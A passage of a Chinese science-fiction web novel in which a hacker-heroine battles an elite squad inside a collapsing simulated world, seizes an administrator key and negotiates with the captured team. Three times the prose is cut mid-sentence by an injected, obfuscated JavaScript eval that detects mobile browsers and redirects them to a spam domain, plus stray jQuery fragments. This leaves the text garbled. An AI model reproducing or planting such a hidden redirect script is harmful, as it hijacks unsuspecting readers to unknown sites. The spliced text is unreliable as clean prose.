凌珂悄悄趴在主机上,竖着耳朵听着下面的脚步声。 “扫描显示这里有能量残留,刚消失不久。”那名队长在发号施令,“所有人保持警惕,不要分散,不要轻敌。” 整齐轻缓的脚步声几乎悄无声息,灵光一闪,凌珂用手环几下就入侵了地下空间的系统,清了清嗓子,对着手环道:“晚上好呀,A队的姐妹们。” 她的声音被还没报废的音响放大,在地下空间回荡,有些失真。 凌珂悄悄探头,就见队长伸手示意所有人停下动作,外围的四人正警惕地环视周围,中间那个叫舒瑶的技术人员正在拿仪器扫描周围。 “这么随便拆别人家的门,可不是什么礼貌的行为。”她故意用戏谑的语气说道,“管委会的精英也喜欢来这种废弃地下室观光?” 队长还没说话,舒瑶倒是忽然发了火,抬着头怒气冲冲道:“你又是谁?你有什么资格把院长亲自建的观测站叫做废弃地下室?” “舒瑶。” 舒瑶乖乖低了头,队长仰起头,朗声道:“我知道你能听到我们的声音,躲在暗处的老鼠,最后通牒,交出夜流光,这是你唯一的选择。” “唯一的选择?”凌珂用嘲讽的语气重复了一遍,“队长,你的管委会有没有告诉你,为什么要这么急切地灭了他的口?甚至不惜派出最精锐的你们进入冰原废墟?” “管委会的决策无需向我解释,交出目标,否则我们将肃清整个区域。” 下面传来武器充能的嗡鸣,凌珂握紧双手,轻轻吐出一口气,直接甩出最大炸弹:“即使量子塔要塌?” 嗡鸣声戛然而止,凌珂连忙抓住机会,继续道:“你知道你们是以什么理由派下来的吗?地震,你什么时候见过量子塔里会发生地震?底层代码即将坍塌,管委会不作为,反而是夜将军用兵变逼迫管委会开启意识回归实验,你们就是这么对待这位想救你们的人?” “即使你所言非虚,修复底层代码是科学院的职责。”队长终于开了口,“我们的职责是服从管委会安排,抓捕清除所有危险的不稳定因素,我最后再重复一遍,交出夜流光。” “现在的不稳定因素究竟是谁呢?”凌珂轻声说,“是努力从坍塌中保护人类的夜将军,是尝试修复底层代码的科学院,还是无视这一切、沉溺于月面权力的管委会?” “一切自有人定夺,我作为军人,服从目的是天职,既然你不愿交出夜流光——”队长深吸一口气,“所有人,开火。” 凌珂心头一紧,生存本能让她下意识挥手,代码重组,将她护在一面防护罩中 下一秒,随着一声轰鸣,无数脉冲弹呼啸,轰向地下空间的一切。 11. 第11章 末日倒计时:1d18h 脉冲弹撕裂空气,带着毁灭性的能量席卷了整个地下空间。 计算机主机、废弃的线缆、金属墙壁,一切都在瞬间被撕碎、熔化、引爆。 凌珂蜷缩在隐蔽处,剧烈的冲击震得她五脏六腑几乎移位。 A队的火力如同暴雨般倾泻在她仓促构建的代码防护罩上,刺目的红光和脉冲弹的白光交织,将她苍白的脸映得忽明忽暗,左肩的伤口彻底崩裂,温热的鲜血迅速浸透了衣料,带来一阵阵尖锐的抽痛。 大脑如同被无数细针刺着,她咬紧牙关,只感觉防护罩在猛烈的攻击下一点点碎裂,金色的光芒在眼中闪烁,明灭不定。 就在防护罩行将破碎的刹那,一道黑影从严重变形的服务器间的阴影中窜出,朝着A队撞去。 夜流光全身覆盖着幽蓝的外骨骼,侧向滑步避开了大部分的脉冲火力。凌珂从没见过的一张小型能量护盾张开,挡住了剩余的脉冲弹。 护盾泛起层层涟漪,舒瑶举起一个眼熟的正方金属体,随着一声几不可查的嗡鸣,夜流光的动作忽然停滞一刹,护盾消失,队长迅速扣下扳机,一颗子弹射穿了他的左膝关节。 火力被夜流光吸引走,凌珂强忍着剧痛和眩晕,眼中金光大盛,面前一切的外壳眨眼间溶解,内部的代码裸露在她的眼内,无所遁形。 看向那个正方体,凌珂抬起右手,握掌为拳,正方体内部的代码瞬间被压缩,又在她重新张开手的刹那四散,炸出一声巨响。 舒瑶发出一声惨叫,当场昏迷倒地,双手鲜血淋漓。飞溅的火光和碎片迫使双胞胎之一侧身躲闪,火力网瞬间被撕开一条裂缝,夜流光趁机从手环中抽出一柄长刀,朝着那名叫做司晨的魁梧女性劈下。 司晨被迫止住火力扫射,双臂交叉格挡,刀刃与义体相撞,迸发出激烈的火星。 脉冲能量、刀光、火焰与一片浓烟之间,凌珂忽然和夜流光对上视线。 幽蓝义眼冰凉,心念一动,她莫名理解了对方目光的意思。 身形一矮,右腿用力蹬地,凌珂身体后倾,从脉冲弹与地面的缝隙滑出。抓住火力封锁的间隙,她冲向控制室另一侧的出入口,双手朝着铁门猛地一挥,金属门框和门体迅速熔融、变形,封堵住大部分入口,只留下一个仅容一人通过的缝隙。 夜流光一刀切断脉冲弹,借着司晨挥来一拳的力,如炮弹般朝着门口冲刺。双胞胎之一刚刚抬起枪口,就被夜流光一拳砸在身旁的金属机箱上,机箱凹陷,她慢慢闭上眼睛。 “姐姐!” 凌珂连忙向前虚按,双胞胎妹妹脚下的地板瞬间变得如同泥沼。也许是因为太过心急,她跃起的时刻晚了半秒,瞬间就被泥沼拉扯着下陷,一时难以挣脱。 抬起头,凌珂的双手又对向天花板,几根本就摇摇欲坠的线管和通风口盖板坠落,砸向司晨和队长,两人被迫闪避,原本瞄准夜流光的射击被打断。 那名队长在地上翻滚,避开落下的线管和盖板,手枪再次举起,在一片混乱中精准地射中了夜流光的右膝关节。 这枚子弹没能成功击穿外骨骼,凌珂借机控制住它,右手猛地一甩,子弹扭头再次射向队长。 队长瞳孔一缩,眼看躲闪不及,即将要被击中手腕,子弹却被赶上的司晨用义体挡住。 专门针对中央军统帅的外骨骼的子弹击穿义体如击穿纸片一样轻松,司晨闷哼一声,左臂无力垂下,左肩上的小口汩汩流出幽蓝色的液体。 凌珂借着甩手的惯性回身,夜流光已经穿过缝隙。能量护盾护住要害,他转身用刀身格挡住双胞胎妹妹射来的脉冲能量束,冷道:“洪铮,量子塔马上要塌了,你还在耗费时间和我们缠斗?” 洪铮动作一顿,凌珂趁机虚握右手,用力向下一扯,洪铮头顶的金属管道瞬间断裂,带着尖锐的断口砸落下来。 眼前的景象已经有些模糊了,她咬住舌尖,没再管身后的管道有没有砸中,直直冲进缝隙,右手向后一挥,巨大的尖刺直直窜起,填满缝隙。 外面传来安装炸弹的声音,凌珂忍不住骂道:“她们的火力是无尽的吗?” 夜流光没有理会这句话,凌珂正准备往前跑,忽然被他用右手扛起,朝着走廊尽头冲去。 “我可以……” “节省体力。” 夜流光惜字如金,凌珂有些郁闷地闭上嘴,风声在耳边呼啸,随着一声轰鸣,余光瞥见一片火光,她勉强抬起头,挡住出入口的金属已经被破开,但只有洪铮一人朝他们冲来。 “只有队长追过来。”凌珂扭头对夜流光道。 此时两人已经冲到通道尽头,面前是一扇巨大的铁门。夜流光将她放下,回身就冲向洪铮。 凌珂扭头,中央军统帅和精英小队队长已经过了几招,拳拳到肉,低沉的碰撞声听得她牙酸。 不敢再浪费时间,她回头看向铁门,目光落在闪着幽幽红光的门禁上。 样式很古老的门禁,凌珂莫名恍惚了一瞬,她摇摇头,将手环碰上屏幕。 清脆的一声滴响,绿光亮起,大门缓缓洞开,冰冷的空气混着灰尘扑面而来,凌珂忍不住咳了咳,直到灰尘散去后才抬起头。 灯光亮起,一排排落满灰的控制台和座位被如水的白光浸满,一面巨大的显示屏映入凌珂眼帘。 显示屏几乎与这片大厅等高等长,占满了整面墙,凌珂迈步踏入这片大厅,恍惚着抬起头,看向显示屏。 她好像见过这面显示屏亮起的样子。 脑海中似乎闪过什么东西,明亮,被数据和图像填满,熟悉而又亲切,带着莫名的吸引力。 耳畔的打斗声远去,被本能驱使着,她的右手举起,一步一步,慢慢靠近显示屏。 手指缓缓贴上冰凉的屏幕,记忆初的空白中,有什么东西要破土而出,一点一点,缓慢—— “轰——” 凌珂恍然回神,像是触电般,她猛地收回自己的右手,低头茫茫然看着自己的手指,怅然若失。 又是一声巨响,凌珂猛然扭头,一道身影从通道飞落在大厅的地板上,他有些狼狈地撑起上半身,护罩张开,又被子弹击碎。 是夜流光。 凌珂终于从恍惚的状态中彻底抽身,她连忙拉起夜流光,右手对准大门,眼中金光大盛,第一个出现在她眼中的脉冲枪的代码迅速压缩。 拿着这柄枪的双胞胎妹妹反应极快,将脉冲枪朝天空一掷,脉冲枪在半空轰然炸开,形成了一个小小的烟花。 无数火星落下,凌珂侧身避开紧随其后的火力,目光看向冲在最前面的洪铮,又移向她手中难以看出结构的枪上。 枪中有制约夜流光的子弹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407662|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “掩护我。”她低声对夜流光道。 护罩在她面前张开,凌珂深吸一口气,双手对准那柄枪,金光几乎要溢出眼眶。 视野里一切的外壳彻底消融,只剩下最本质的纯粹代码流。枪械的结构在她眼里一览无余,代码与代码纠缠在一起,异常坚固和古怪,在周围代码流的中央,是一个怪异的加密锁,可以控制代码的金丝就是在加密锁处碰了壁。 “攻击队长。”凌珂再次开口,声音嘶哑,夜流光从她身侧掠过,硬抗住所有火力,一拳砸向洪铮的上腹,在凌珂眼中散出无数数据碎片。 洪铮被迫侧身回防,枪口对准夜流光,扳机被她扣下。 就是现在。 金丝眨眼间钻入加密锁,细密的汗珠挂在眼睫毛上,凌珂几乎凭借本能驱动着能力,过度使用能力的尖锐刺痛搅着大脑,眼前一片模糊,唯有那个加密锁越来越清晰。 凌珂咬住舌尖,一股血腥味溢满口腔,心脏颤抖着,她深深吸一口气,右手猛地握紧,金丝在加密锁内瞬间炸开。 嗡—— 一声低鸣毫无征兆地在凌珂的大脑深处震荡开,险些将她震昏过去。 下一刻,那面巨型显示屏忽然亮了起来。 凌珂下意识扭头,屏幕上没有图像,没有数据,没有文字,只有一片纯粹、柔和的金色,像是吸引目光的漩涡,让她久久移不开视线。 和刚才如出一辙、但却更加明显的吸引力汹汹涌来,凌珂的手已经无意识垂下,她茫然看着那片金色,缓缓朝着屏幕踏出一步。 一步,两步…… 打斗声不知何时已经消失,凌珂缓步走到屏幕面前,手再次慢慢靠近显示屏。 手指陷进了屏幕。 凌珂眨了眨眼,似有所感般,将整只右手都伸进屏幕。 屏幕后好像有什么东西,暖暖的,像是冰原天幕上模拟的太阳。凌珂屏住呼吸,一点点握住了一个暖融融的物体。 好像是十二面体。 缓缓收回手,凌珂垂下头,一个正十二面体静静地躺在她的掌心上,散发着柔和的金光。它的表面光滑无比,看不出任何接口或纹路,只有无数细微的、流动的光点在内部明灭着,如同封装了一片微缩的星空。 管理员权限密钥。 这个半天前才刚刚听说的词汇闪过凌珂的脑海。 她呆愣着凝视这个正十二面体,左手举起,轻轻碰了一下。 一股难以言喻、浩瀚如星海的信息流瞬间冲刷过意识,正十二面体瞬间瓦解,凌珂抬起头,眼前,无数微弱的金色小点绕着她缓缓旋转,一点点钻入身体,暖流从心脏的地方涌起,缓缓流淌全身。 她缓慢地眨了眨眼睛,慢慢转身,金色的双眼看向已经僵在原地的A队。 下一秒,洪铮手上的枪、双胞胎妹妹刚捡起的新枪、司晨身上所有的武器、甚至连她的义体本身,原本充盈的能量波动如同被一只无形的巨手掐灭,彻底沉寂。 整个大厅内,所有属于A队的武器,在不到一秒的时间内,全部下线。 凌珂恍惚着垂下头,看了看自己的双手。 “A队,洪铮队长。”她喃喃着开口,重新抬头,目光扫过僵在原地的A队众人,最后落在面色难看的洪铮脸上,声音在寂静的大厅回荡着。 “请弃械投降。” 12. 末日倒计时:1d10h 她的声音落地,大厅内陷入一片死寂。 凌珂站在原地,金色的双眼注视着面色铁青的洪铮,后者握紧拳头,缓缓将武器放下,举起双手,其他队员同样面色僵硬,百般不情愿地卸下武器。 胜利的实感尚未涌上,一股前所未有的虚脱感便先一步攥住她。 视野边缘开始模糊、发黑,晕眩感如潮水般冲上大脑,她甚至来不及多说一个字,双腿便是一软,整个人向前栽去。 金属地面迅速靠近,耳畔似乎响起了一声惊呼,但那声音又迅速远去,被另一种更嘈杂、更混乱的杂音彻底覆盖。 双眼紧闭,凌珂有些难受地蜷缩,捂住了耳朵。 无数尖刺在脑内旋转搅拌,她无意识喘着气,将头深深埋入胸前。 视野中的一片黑暗慢慢褪去,无数彩色乱码涌了上来,太阳穴内的血管几乎要跳出来,耳边的杂音却越来越清晰,隐隐能听出有人在说话。 凌珂抱着头,艰难地将双眼睁开一条缝。 夜流光、洪铮、A队的其他人,甚至连大厅都消失不见,取而代之的是一个小型会议室。 视线中的景象依然模糊扭曲,凌珂眯起眼睛,只能勉强辨认出有两个人站在圆桌前争吵。 “这是没有办法的办法……只有量子塔……” “太过荒唐……怎么能依赖数据编织的幻想乡……” 忽然,一股冷淡到几乎冷漠的情绪涌上心头,大脑依然刺痛眩晕,但在这股情绪的影响下,凌珂却奇妙般地恢复了片刻清醒。 耳鸣依旧,两人的争吵声只能勉强穿过杂音的缝隙,传递来一点点信息。 “人类已经撑不下去……无法调整……” “药物……技术……总有办法……不能……” 耳鸣声愈发刺耳,凌珂忍不住捂住耳朵,微微埋下头,在刺痛中艰难地喘着气。 在眩晕重新掌控她的意识前,奇迹般地,一声带着怒气的喊声穿透了所有的杂音,直直刺入耳膜。 “我们已经无法承担任何一个人的死亡了!人类文明不能砸在我们手里!” 天地旋转,飞上天后又被重重摔在地上。凌珂强忍着痛楚,努力睁开眼睛。 那个小型会议室不见了,身体不知道什么时候已经站起来,眼前是一张简洁的办公桌,和在办公桌后坐着的老者。 明明面部模糊,凌珂却直觉老者面露慈祥,她正想努力集中视线,一道冷淡又有点稚嫩的女声不知从何处响起:“我自愿留在冰区观测站。” 声音莫名熟悉,如同刚刚那句喊声,直接穿透了耳鸣杂音,落在耳中格外清晰明亮。 “你是我的接班人……技术问题……不需要……” 没等凌珂听清老者说什么,刚刚那名女性就有些急切地开了口:“我不怕危险,我需要这里的一手数据,院长……” “我说了,不行……” 又是一阵天旋地转,凌珂晕乎乎地飞上天,只剩下一片浆糊的脑中终于慢慢浮现出一个想法。 刚刚那个女性,好像就是自己? 再一次摔落在地,脑子还一片茫然晕眩,身体就自己动了起来。 这次眼前的景象清晰了一些,凌珂勉强能从一片黑暗中辨认出,这里是片刻前夜流光扛着她跑过的走廊。 身体自己慢慢走到铁门前,手环轻轻一碰,铁门洞开,刚刚和A队缠斗的战场映入眼帘。 她走到那面巨型显示屏前,微微抬头,凝视着面前的屏幕。 耳鸣和杂音不知何时消失得差不多,连大脑的刺痛都散去不少。凌珂试着接管自己的身体,却发现自己现在连手指头都动不了。 一道轻缓但清晰到有些刺耳的脚步声闯入了她的耳朵。 莫名的悲伤忽然攥住了心脏,几乎让她喘不过气。 “你真的来了啊。”凌珂听见自己说。 一片寂静中,清冽如玉的男声响起。 “抱歉。” 凌珂猛地睁开眼睛。 略显陈旧的天花板映入眼帘,空气中弥漫着消毒水的味道,方舟舱的滴滴声有些沉闷。 她眨了眨眼,意识如沉船后的浮木,缓慢从深海中上浮。身体的知觉率先回归,左肩传来被方舟舱治疗后特有的轻快感,大脑深处的刺痛和晕眩减轻了许多,但依然残留着能力使用过度后的疲惫空虚。 心脏有力地跳着,拜方舟舱所赐,全身的肌肉像是吸了氧般轻快活跃,没有半点酸软无力。 凌珂轻轻转动脖颈,环顾四周。 自己躺在一张陌生的床上,被单被洗得有些发白,房间角落的方舟舱貌似是他们基地的那一个,正处于低功率运行的状态,幽蓝的代码流平稳地流淌着。 “醒了?” 一个温和而带着些许疲惫的声音从门口传来,凌珂循声望去,就见林英端着一杯水,靠在门框上看着她。 “英姐,”凌珂开口,声音有些低哑,“这里是?” “地震后的临时住所。”林英走上前,将水杯递给她。 凌珂稍稍坐起,小口啜饮,温热的液体滑过喉咙,缓解了咽喉的细微疼痛。 她缓了一口气,将杯子还给林英,问道:“我昏了多久?夜流光呢?” “从统帅把你背回来到现在,已经过去快七个小时了。” “他背我回来的?”凌珂想象了一下她被夜流光背着穿过冰原的场景,脸色有些微妙,“你确定不是扛?” 林英笑了笑,没有回答:“还有A队的人,统帅也一起带回来了。” “A队?”凌珂瞬间睁大了眼睛,残留的晕眩感都被这个消息驱散了不少,“她们没有反抗吗?” “你不是把她们的武器抑制住了吗?”林英面露疑惑,“洪队长自认没有武器,她们五个一起都打不过用外骨骼的统帅。统帅则说她们继续为管委会效命是对人力资源的浪费,就把她们带回这里,安排人看守,算是软禁吧。至于现在,统帅应该还在审问劝降。” 看来自己昏迷后对那些武器的控制也没有消失,至于夜流光想劝降A队,大抵是为量子塔坍塌做准备吧。 消化着这些信息,凌珂低头看了看自己的双手,掌心似乎还残留着那个正十二面体的暖意。 浩瀚如星海的信息流似乎在身体里蛰伏了起来,一种前所未有的连接感隐隐浮现,现在她好像和量子塔多了一丝无形的联系。 凌珂又想起了昏迷前的时候。 世间万物都服从自己的诏令,一切的一切都无法抵抗自己的控制,翻手为云覆手为雨,神明般的感觉。 还有刚刚昏迷时看到的那些…… 恍惚了一瞬,凌珂连忙摇摇头,将这些想法晃出了脑袋。 “英姐,”她有些纠结地开了口,“夜流光有和你说什么吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407663|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “说什么?”林英重复了一遍,蹙着眉想了想,“让你醒了之后去劝降洪队?” 这句话凌珂属实是没想到:“啊?” “在你醒来前统帅来看过你,然后给你留了这句话。”林英的脸色有些复杂,“据他所说,除了还在方舟舱里昏迷的那个技术人员以外,包括洪队长在内,所有A队成员都认为自己是输给了你,并坚定地认为假如没有你插手,她们已经把统帅押回月面了。” “所以夜流光叫我去劝她们投降?”凌珂哭笑不得,“我有那么大的魅力吗?” 林英摊手:“统帅从没看错过。” 沉默片刻,凌珂掀开被子,试着下床:“行,我去见见她们。” “你不再休息一会儿?” “不了。”凌珂摇头,穿上鞋子,双腿还有些发软,但足够支撑住身体站起行走,“接下来有大灾难,时间有限,我必须现在就去。” “大灾难?” 扶着林英的肩膀站起,凌珂稳住身子,迟疑道:“这个我能等一下再和你讲吗?” 林英的视线停在她的脸上,凌珂抿了抿唇,不敢和她对视。 “不用和我解释什么,小珂,我只问一个问题。”林英开了口,“你不会抛下我们,对不对?” “当然不会。”凌珂急道。 “那就足够了。”林英的脸上扬起一抹笑,“你只需要在合适的时候告诉我,基地的大家该怎么做,该怎么逃,就足够了。” 心脏抽了抽,凌珂张了张嘴,却不知道该怎么开口。 量子塔马上要塌了,就算逃,能逃到哪里去? 沉默许久,凌珂低声开口:“我们先去找A队吧。” 软禁A队的地方就在临时医务室的附近,是一间六人宿舍,门口象征性地站了个小兵,凌珂一眼看去,那个小兵一脸灰暗,灵魂都要从他微张的嘴里飘出来了。 他一看到凌珂和林英走来,就迅速小跑到她们面前,急切道:“林队,您是我大姐,我姥姥,我祖宗,我给您磕三个响头好不好,放我走,我绝对不会再在队里赌牌打架了,我真的不想……” “再吵吵就多守三小时。” 小兵生无可恋地闭上了嘴。 “这是?”看着小兵拖着沉重的躯体回去看守,凌珂凑到林英耳边低声问。 “看守A队啊。”林英的声音里带着笑意,“A队可是声名远扬的精英小队,没人敢当她们的看守,我就拿来当惩罚了。” 林英两眼笑眯眯,凌珂默默从小兵身上移开目光,跟着她进了宿舍。 一踏进门,凌珂就察觉到周围的气氛变得剑拔弩张。 第一眼看到的是夜流光的侧影,他站在靠近门口的空地,听到开门声扭头看了过来。在他身后是身上绑了几处绷带的洪铮,面色冷淡,抱臂坐在一把椅子上,双胞胎姐妹分别立于两侧,身上也都有包扎,凌珂一眼看过去还以为是A队在审夜流光。无法控制义体的司晨躺在床上,左肩的洞貌似被修补过。 “我还有事,先走了。”林英对着凌珂眨了眨眼,转身离开了宿舍,还非常贴心地带上了门。 门一关,原本就剑拔弩张的气氛更加凝滞,几乎让人无法呼吸。 凌珂环顾面前齐齐看着自己的五人,深吸一口气,脸上绽出了一抹灿烂的笑。 “A队的姐妹们,我们又见面了。” 13. 末日倒计时:1d9h30min “A队的姐妹们,我们又见面了。” 临时充作禁闭室的六人宿舍内,空气已经彻底凝固,掉在地上摔成碎片。 刻意扬起的灿烂笑容并未融化A队成员脸上的冰霜,正对面的洪铮眼神锐利如刀,直直刺向她,双胞胎姐妹面上的警惕与不服更是藏都没藏,虽然武器被收,其中一人已经肌肉绷紧,隐隐准备着出手打架。 凌珂又瞥了眼夜流光,上将大人的手环还发着莹莹流光,随时准备覆上外骨骼。他见凌珂进来,只是几不可查地颔首,便后退半步,将主导权交给她。 环视一圈,凌珂深吸一口气,将身体残留的虚弱感和轻微晕眩压得更深。她走到宿舍中央,拉过一把空椅子,在洪铮对面坐下,直视着A队队长铁青的脸。 “这次不是用枪指着对方,倒是让我有点不习惯。”凌珂细细打量着洪铮的脸色,语气轻松,“不要这么严肃嘛,洪队长,这是一次平等的对话,我们没有真的把你们当阶下囚。” 最后这句话终于让洪铮有了点反应,她冷笑一声,双臂抱胸,肩上的绷带隐约透出血迹。 “这些漂亮话不必再绕,我们事实上就是阶下囚。直说吧,我们是不可能投降的。” 凌珂叹气,道:“洪队长,请先冷静冷静,你们是月面最强的精英小队,却输给了一个底层的拾荒者,我知道这难以接受。” “你就是来这里挖苦我们的?”双胞胎之一已经沉不住气,阴阳怪气道。 “当然不是。”凌珂甚至对着她笑了笑,语气平静,“我只是想让你们再仔细想一想,你们效忠的对象,在此时此刻,对量子塔是好是坏。” 洪铮眼神一厉:“管委会的决策轮不到你来评判。” “我并没有在评判管委会。”凌珂摊手,语气柔和,“洪队长,现在请你先抛开我们之间发生的一切不谈,我只问你一件事,你们下到冰原,是为了追捕夜上将,对不对?” 见洪铮点头,凌珂继续道:“那请你仔细想想,夜流光在兵变前,已经是中央军的统帅和量子塔最年轻的上将,只要再过几年,他就能成为军方的最高领导者。一个既不缺权也不缺钱的上将,为什么会兵变?” “夜流光兵变的真实原因自有专人调查,与我们的任务无关。” 凌珂摇头:“不,有关,而且很有关。洪队长,请你先好好想想,假如你是夜将军,你会为了什么兵变?” 面前的洪铮沉思后脸色一僵,凌珂笑了:“我想洪队长也想到了,只有一种可能。” “你们说的量子塔即将坍塌,夜流光兵变,真的只是为了回归现实。” 洪铮喃喃着接上话,脸色逐渐严肃:“但这一切有一个前提,量子塔即将坍塌,你们哪里来的证据?” “科学院院长亲自确认。”夜流光忽然开口,凌珂微微侧头,就看见上将抱臂站在自己侧后方,面色平静,“但很可惜,直接证据在科学院的地下室锁着,无法提供。” “除了这点,还有地震。”凌珂坦然道,“量子塔是人造的系统,只要没有写相关代码,这件事就不可能发生。我想,当初科学院应该不会有闲心加上间歇性地震的代码。” 她环顾A队的四位主要战力,语气诚恳:“A队的诸位,你们是值得尊敬的军人,量子塔军人的宣誓词是维护量子塔秩序以保护人类,目的是保护人类,现在,夜将军和管委会,究竟是谁在真的保护人类呢?” 沉默片刻,洪铮终于开口,语气低沉:“虽然作为洪铮,我已经相信你们说的话了,但作为A队队长,没有直接证据证明量子塔真的要塌,我就不能信任我的抓捕对象,这是我的责任。” 她闭上眼睛,深吸一口气,再睁开时,眼中一片平静:“凌珂,夜将军,你们说得对,我动摇了,但是我无法信任任务对象,更不可能投降,背叛军人的誓言和A队的荣耀。” 凌珂勾起的嘴唇一僵,她的目光扫过其他三人,她们也都纷纷移开视线,用目光表示拒绝沟通。 她又重新看向洪铮,后者看着她,只是摇摇头,不论凌珂说什么都没有再开口。 叹了口气,凌珂站起身,对夜流光摇摇头:“算了,再给她们一些时间吧,我们先出去。” 两人一前一后离开宿舍,关上门,将那片沉重的寂静重新锁在屋内。门口那个小兵看到两人出来,原本就生无可恋的脸色更加灰败,像是下一秒就要上吊。 走了几步,凌珂蹙着眉开口:“我有点无法理解。” 她侧头看向夜流光,喃喃道:“既然洪队长作为她本人已经相信我们了,为什么就不愿帮忙呢?” “她们是军人,投降背叛是一件非常严肃的事,不管嘴上说多好听,帮助自己的追捕对象本质上就是背叛。洪队长毕竟是A队的队长,我原本也没打算真的劝降,倒不如说,洪队长要是真的就这样背叛管委会,她就不可能是A队的队长。” 凌珂脚步一顿,脸色有些精彩地看向夜流光。后者疑惑回视,她的嘴唇动了动,最后吐出来了一句吐槽:“头一次见你说这么多话。” 夜流光的嘴角肉眼可见地下降几个像素点,大踏步拂袖而去。 凌珂连忙几步追赶,看着他的背影,心脏有些沉。 那你呢?你兵变的那一刻,是怎么想的? 两人刚走到外面的通道,就察觉到有什么地方不同了。临时基地里弥漫着一股与往常不同、略显喧闹的热烈气氛,人们脚步匆匆,脸上带着些许期盼的神色,拿着装饰张灯结彩,虽然只是简单的电子彩灯和回收材料制作的装饰,但也为这处临时避难所增添了几分鲜活的色彩。 凌珂停下脚步,环顾四周,后知后觉:“对哦,渔猎节要到了。” “渔猎节?” “观测站的科学家给新年起的本地名。”凌珂随手从路过人的盘子上拿了块热气腾腾的面包,掰成两半递给夜流光,见他不接,便将两半面包都塞进自己嘴里,“这么说来,我捡到你的那一天,也是为了渔猎节才出门的,这段时间发生太多事了,我都快忘掉还有渔猎节了。” 她咽下面包,回味了一番香甜松软的口感,见夜流光还盯着她,挑眉道:“怎么,刚刚给你不要,现在又想吃了?” “你想留下来过节?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407664|184564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>凌珂动作一僵。夜流光的目光如有实质,刺得她有些坐立难安。 垂下手,她苦笑着低声道:“夜将军,量子塔都快塌了,我怎么可能还有闲心过节?” “你的表情说你想过。” “是啊,我是想过。”凌珂努力装出一副无所谓的样子,耸了耸肩,“渔猎节是冰原唯一的节日,对我们来说非常重要,甚至连巡逻队都会暂停巡逻抓捕,不论立场恩怨,大家一起在冰原上庆祝这一天。”她的声音低了下去,“这么说来,明天还是除夕啊。” “凌珂!夜将军!” 凌珂抬头,大厅另一端,徐景琛兴冲冲地跑来,头上还缠着纱布,笑容满面。 他跑到两人面前,眉飞色舞道:“要不要留下来过节?渔猎节明天就开始了,今年虽然情况特殊,但英姐跟其他几个基地首领,还有巡逻队队长商量后,还是决定简单庆祝一下,去去霉运,顺便为地震的灾后重建鼓鼓士气。明天晚上的渔猎大会,英姐亲自下厨,你们可一定要参加啊!” 凌珂怔怔地看着徐景琛,嘴角强撑的那点无所谓终于垮塌下去。她垂下眼,手指无意识地揉搓面包碎屑。 “徐景琛,你和英姐说,”她张了张嘴,声音有些干涩,“我……” 她该怎么开口?说量子塔即将倾塌,说他们熟悉的这个世界只剩下最后一点时光,此刻所有的欢笑都是留不住的沙? 凌珂惘然地环视四周,临时基地简陋但热闹欢乐,透着熟悉的家的味道。不远处传来一阵喧嚣,她抬眼望去,几个人扛着木头进了基地,为点燃明天晚上的篝火做准备。在场的十几个人马上就围了上去,嘻嘻哈哈地帮忙扛木头。 笑声几乎让凌珂喘不过气。 她收回目光,垂下眼睛的那一刻,忽然撞上了夜流光的目光。 他依旧沉默着,没有催促,也没有分析利弊,只是安静地看着她,那对异色的瞳仁就这么倒映着她此刻的挣扎与狼狈。 凌珂像是被烫到一样,慌张地挪开了视线。 深吸一口气,她狠下心肠,开口:“景琛……” 就在这时,身后忽然传来门撞上墙的砰声。 凌珂连忙回头,眼前是刚刚守着A队的小兵,他撑着膝盖,喘息着道:“凌姐,A队的队长找、找你和夜将军。” 所有关于节日去留的纠结瞬间被碾得粉碎,现实从来不容许他们沉醉太久。 凌珂与夜流光对视一眼,毫不犹豫抬脚走向宿舍。 宿舍内,洪铮依旧保持着那个抱臂的姿势,凌珂刚刚踏进门就感受到了她如针扎的目光。 等两人都进了宿舍,关上门,洪铮就直接开口:“我们这次下来,除了为了追捕夜流光外,也是因为收到消息,一个巴别的中层成员意图潜伏到冰原,管委会希望我们能找到关于这个成员的行踪。” 凌珂的心缓缓下沉。 “你们刚刚说量子塔即将坍塌,再结合明天冰原上又有渔猎大会,不好管理——” 洪铮深吸一口气。 “我有理由怀疑,巴别意欲混入渔猎大会,摧毁锚点,推倒量子塔。” 14. 末日倒计时:1d8h45min 宿舍门被用力推开,撞在墙上,发出砰的一声响。 凌珂扭头,从门外冲进来的人是林英,她风风火火地跑到凌珂身边,环视眼前六人后脸色变得更差,目光再次落到凌珂身上。 “小珂,你刚刚给我传的信息是什么意思?”她的语气急切,“什么叫巴别要推倒量子塔?” “就是字面意思。”凌珂低声道,“英姐,前因后果有点复杂,我之后再和你解释。总之量子塔马上要塌,巴别想在渔猎大会上推一把。” “字面意思?” 